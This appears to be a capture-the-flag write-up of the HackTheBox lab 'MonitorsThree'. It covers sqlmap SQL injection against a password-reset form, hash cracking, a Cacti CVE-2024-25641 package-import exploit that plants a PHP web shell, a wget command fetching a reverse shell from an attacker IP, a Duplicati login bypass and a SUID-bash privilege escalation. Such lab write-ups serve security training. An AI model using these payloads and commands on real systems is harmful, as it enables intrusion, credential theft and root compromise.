Reconnaissance
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_ 256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides SSH there’s just one other port: HTTP. nmap already noticed the redirect to monitorsthree.htb
so I’ll add this to my /etc/hosts
file.
HTTP
The webpage shows information about the best networking solutions and offers those services to customers. On the upper right corner there’s a link to a login page. Testing some common default passwords does not let me login.
While manually enumerating the website I let a vHost bruteforcing with ffuf running in the background to find out whether other virtual hosts exist on this webserver. The scan quickly finds cacti
with yet another login prompt to Cacti. There is a version number below the form that shows 1.2.26
and there are a few CVEs
available but all require a prior authentication.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://monitorsthree.htb \
-H 'Host: FUZZ.monitorsthree.htb' \
-fs 13560
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://monitorsthree.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.monitorsthree.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 13560
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 51ms]
As with the other login screen, common credentials do not work here and since the login on the main domain has a password reset feature on /forgot_password.php
I shift my focus back there.
Initial Access
The specific implementation of that feature can be used to enumerate valid usernames based on the message that’s returned after submitting.
Using a presumably valid username like admin shows that the password reset request was succesfully sent, on the other hand a invalid username like ryuki shows Unable to process request.
Testing for a simple SQL injection
by supplying the username admin'
returns an error message because the SQL query was not properly terminated. It also reveals the backend to be MariaDB
.
With the help of sqlmap I can exploit this vulnerability and hopefully dump the database. Observing the network traffic I can see there’s a POST request with a single parameter username
followed by a redirect back to /forgot_password.php
. Noteably there is no error message returned, so that is likely bound to the session cookie, requiring me to pass the cookie to sqlmap as well. The injection happens with the POST request, but the actual result is visible with another GET request, so I pass this with --second-url
. I already know the database (--dbms
) and that it’s based on the error message (--technique=E
).
sqlmap --level 5 \
--risk 3 \
--keep-alive \
--dbms=MySQL \
--technique=E \
--cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
--second-url 'http://monitorsthree.htb/forgot_password.php' \
--url 'http://monitorsthree.htb/forgot_password.php' \
--data-raw 'username=admin' \
-p 'username'
___
__H__
___ ___["]_____ ___ ___ {1.8.8#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:22:15 /2024-08-25/
[16:22:15] [INFO] testing connection to the target URL
got a 302 redirect to 'http://monitorsthree.htb/forgot_password.php'. Do you want to follow? [Y/n] n
[16:22:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:22:17] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL')
[16:22:17] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
[16:22:17] [INFO] testing for SQL injection on POST parameter 'username'
[16:22:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:22:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:22:23] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:22:26] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:22:31] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:22:34] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:22:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:22:40] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:22:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:22:42] [INFO] POST parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 426 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' AND (SELECT 9512 FROM(SELECT COUNT(*),CONCAT(0x717a767671,(SELECT (ELT(9512=9512,1))),0x7178706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QMSC
---
[16:22:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
After starting sqlmap it asks if I want to follow the redirect and I deny that since I already provided the second-url
. Not even a minute passes and the injection point is found. Next, I’ll repeat the previous command with --exclude-sysdb
and --dbs
to find all databases. This comes back with just monitorsthree_db
.
Then I add -D monitorsthree_db
to limit the search to this database and --tables
to get a list of all tables present. 6 tables are found, with users being my next target. To dump the contents I replace the --tables
with -T users
and add --dump
. This leads sqlmap to retrieve the whole table including the usernames and password hashes.
sqlmap --level 5 \
--risk 3 \
--keep-alive \
--dbms=MySQL \
--technique=E \
--cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
--second-url 'http://monitorsthree.htb/forgot_password.php' \
--url 'http://monitorsthree.htb/forgot_password.php' \
--data-raw 'username=admin' \
-p 'username' \
--exclude-sysdb \
--dbs
--- SNIP ---
available databases [2]:
[*] information_schema
[*] monitorsthree_db
sqlmap --level 5 \
--risk 3 \
--keep-alive \
--dbms=MySQL \
--technique=E \
--cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
--second-url 'http://monitorsthree.htb/forgot_password.php' \
--url 'http://monitorsthree.htb/forgot_password.php' \
--data-raw 'username=admin' \
-p 'username' \
--exclude-sysdb \
-D monitorsthree_db \
--tables
--- SNIP ---
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
sqlmap --level 5 \
--risk 3 \
--keep-alive \
--dbms=MySQL \
--technique=E \
--cookie 'PHPSESSID=6td7uvjejdf1gce2re0o7doeod' \
--second-url 'http://monitorsthree.htb/forgot_password.php' \
--url 'http://monitorsthree.htb/forgot_password.php' \
--data-raw 'username=admin' \
-p 'username' \
--exclude-sysdb \
-D monitorsthree_db \
-T users \
--dump
--- SNIP ---
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | mwatson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
Failure
While executing sqlmap there should NOT be any other enumeration running since the error messages are only displayed once and it’s crucial that the tool gets to see it! If actions are running in parallel different cookies must be used.
Adding the four hashes to a file and running john with rockyou.txt
as wordlists and --format=RAW-MD5
cracks just the password for admin
aka Marcus Higgings: greencacti2001
.
After logging in and poking around the Admin Dashboard there is nothing interesting to be found and I decide to try the same credentials on Cacti. They allow me to login and I have access to the console there.
Info
Accessing the host via SSH with the credentials does not work because only
Public Key Authentication
is allowed.
Execution
In Cacti version 1.2.26
is a remote command execution vulnerability through the Package Import feature. It’s tracked as CVE-2024-25641 and comes with a PoC. The PHP script builds a new package containing another PHP file with phpinfo()
and saves it as test.xml.gz
, ready to be uploaded and eventually accessed at resource/test.php
.
I modify the script slightly to run commands supplied with parameter ryuki
on the host and then build the package with php exploit.php
.
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = "<?php system(\$_REQUEST['ryuki']); ?>";
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
Navigating to Import/Export ⇒ Import Packages I can upload the built package and have to select the files to be imported. Clicking on import shows a success message.
Accessing the file via curl and adding ?ryuki=whoami
shows the output of that command.
curl "http://cacti.monitorsthree.htb/cacti/resource/test.php?ryuki=whoami"
www-data
The uploaded packages are deleted in short intervals and running a reverse shell through the script does not work for some reason. During the upload the actual location on the host is revealed, so I decide to put a php reverse shell into /var/www/cacti/ryuki.php
.
# Hosting the php shell via python3 -m http.server 80
curl "http://cacti.monitorsthree.htb/cacti/resource/test.php?ryuki=wget+10.10.10.10/ryuki.php+-O+/var/www/html/cacti/ryuki.php"
Browsing to http://cacti.monitorthree.htb/cacti/ryuki.php
hangs and I do get a callback on my listener as www-data
.
Privilege Escalation
Shell as marcus
After getting foothold on the target, I try to pivot to marcus
since that was the name of the admin and SSH without a key was prohibited, but the password does not work. Within /var/www/cacti/include/config.php
are credentials for the database: cactiuser:cactiuser
for cacti.
<?php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
Accessing the database cacti with the credentials shows 113 tables with multiple of those starting with user_. The user_auth table contains all configured users and their hahed passwords.
mysql -D cacti -u cactiuser -pcactiuser
MariaDB [cacti]> show tables;
--- SNIP ---
| user_auth |
| user_auth_cache |
| user_auth_group |
| user_auth_group_members |
| user_auth_group_perms |
| user_auth_group_realm |
| user_auth_perms |
| user_auth_realm |
| user_auth_row_cache |
| user_domains |
| user_domains_ldap |
| user_log |
| vdef |
| vdef_items |
| version |
+-------------------------------------+
113 rows in set (0.001 sec)
MariaDB [cacti]> select username, password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G |
| guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu |
| marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |
+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
The password for marcus
is pretty weak and is revealed to be 12345678910
with the help of john. This lets me change user with su marcus
and collect the first flag. It also gives me access to that users’ SSH key.
Shell as root
Running on local port 8200 is Duplicati and in order to access it, I forward the port to my machine with ssh -L 8200:127.0.0.1:8200 marcus@monitorsthree.htb
. Unfortunately none of the passwords obtained so far work.
Within /opt
I find various things related to Duplicati. The docker-compose
file mentions that the root of the host filesystem is mounted to /source
and I could access any file on the host since the user with the container is root.
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
Alongside the docker-compose file the backups are stored in /opt/backups/cacti
, but there’s nothing interesting since they are old backups from the cacti web application. Something more interesting is the configuration in /opt/duplicati/config/Duplicati-server.sqlite
.
Sqlite3
is not installed on the target and therefore a transfer to my host is needed. Within the database is a table called Option
with some valuable information: the hashed server password and the salt in use.
sqlite3 Duplicati-server.sqlite
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> select * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|37fdc2b0-d35c-4524-a9da-39e690e320bd
-2||server-passphrase-trayicon-hash|PR54Fx9CTMzwvtxW7TDfnfM7QWxTle855QwnBfhe48g=
-2||last-update-check|638602054070793240
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
A little research shows an issue 5197 describing the steps to bypass the authentication with knowledge of the hashed server password. It is supposed to be fixed with version 2.0.9 and the scripts loaded on the login page leads me to believe it’s version 2.0.8
.
Steps to reproduce
Setup Duplicati with a login password
Open Duplicati DB using any tool (like sqlite)
Grab the (Server_passphrase)
Open Burp Suite and enable "Intercept".
Go to the Duplicati login page and enter any password.
Intercept the request in Burp Suite and select "Do intercept > Response to this request".
Analyze the intercepted response to retrieve the Nonce and Salt values.
Verify that the Salt matches the one from the Duplicati database and note that the Nonce changes with each request.
Convert the server passphrase from Base64 to Hex.
Open the browser console (Chrome/Firefox), type allow pasting, and run the following modified command:
var saltedpwd = 'HexOutputFromCyberChef'; // Replace with the Hex output from step 6
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('NonceFromBurp') + saltedpwd)).toString(CryptoJS.enc.Base64); // Replace 'NonceFromBurp' with the intercepted nonce
console.log(noncedpwd);
Copy the noncedpwd value returned by the console.
In Burp Suite, forward the intercepted request and modify the password parameter with the noncedpwd value, URL encoding it if necessary (use CTRL+U in Burp Suite to URL encode).
Forward the request and observe that you are logged into the Duplicati web interface.
Actual result:
Successfully logs into the Duplicati web interface without needing the login password, using the server passphrase.
Expected result:
The server passphrase should not bypass the login authentication. Only the correct login password should grant access to the web interface.
First I take the server passphrase from the database and convert it to hex: 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
Next I intercept a login request with BurpSuite and enable the Do Intercept Response to this request
. After forwarding the request and catching the response, I can see it contains the Nonce uKnm5ubm/kuTB7q3DEHJAnwJVRO7VBwy+vpJBTXy3GM=
.
Opening the Web Console on the login page (CTRL + SHIFT + I) and switching to the Console tab, I’ll paste the code from the PoC while substituting the required values.
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('uKnm5ubm/kuTB7q3DEHJAnwJVRO7VBwy+vpJBTXy3GM=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);
+ooCE/ypn8XUhb6XiOETjzc0qfHtrezwymqtNWm2YiI=
Forwarding the response, I right away catch the next request, a POST request with the parameter password that I change to the URL-encoded value generated by javascript. Clicking Forward for all remaining requests logs me in on the browser and I can disable the intercept. There’s just one configured backup Cacti 1.2.26 Backup
.
When configuring a backup one can run scripts before or after the backup1 and that can be used to escalate my privileges. Since the docker container has access through the /source
I place a script in the /tmp
directory to be called by Duplicati and make it executable.
#!/usr/bin/env bash
# Copy the /bin/bash to the home directory of marcus
cp /source/bin/bash /source/home/marcus/ryuki
# Set SUID
chmod 4777 /source/home/marcus/ryuki
While creating a new backup on Duplicati I select dummy data on the first 4 steps until I reach Options. There, under Advanced options, I select run-script-before and add /source/tmp/exploit.sh
in the input field. After saving, a new backup appears on the Home screen and as soon as I run the backup, a new file in the home directory of marcus
appears.
ls -la
total 1396
drwxr-x--- 4 marcus marcus 4096 Aug 25 19:24 .
drwxr-xr-x 3 root root 4096 May 26 16:34 ..
lrwxrwxrwx 1 root root 9 Aug 16 11:29 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Jan 6 2022 .bashrc
drwx------ 2 marcus marcus 4096 Aug 16 11:35 .cache
-rw-r--r-- 1 marcus marcus 807 Jan 6 2022 .profile
drwx------ 2 marcus marcus 4096 Aug 25 17:55 .ssh
-rwsrwxrwx 1 root root 1396520 Aug 25 19:24 ryuki
-rw-r----- 1 root marcus 33 Aug 25 17:55 user.txt
./ryuki -p
id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
cat /root/root.txt
********************************
Running the bash with the SUID bit with -p
allows me to impersonate root
and collect the final flag.
Attack Path
flowchart TD subgraph "Initial Access" A(Access to page) -->|vHost Enumeration| B(cacti subdomain) A -->|SQL injection| C(Hashes from database) C -->|Crack Hashes| D(Credentials for admin) B & D -->|Password Reuse| E(Access to Cacti) end subgraph "Execution" E -->|CVE-2024-25641| F(Shell as www-data) end subgraph "Privilege Escalation" F -->|Access to Cacti DB| G(Hashes for marcus) G -->|Crack Hash| H(Shell as marcus) H -->|Enumeration| I(Login Prompt to Duplicati) & J(Access to Duplicati configuration) I & J -->|Bypass Authentication| K(Access to Duplicati running as root) K -->|Pre-Run Scripts generate SUID bash| L(Shell as root) end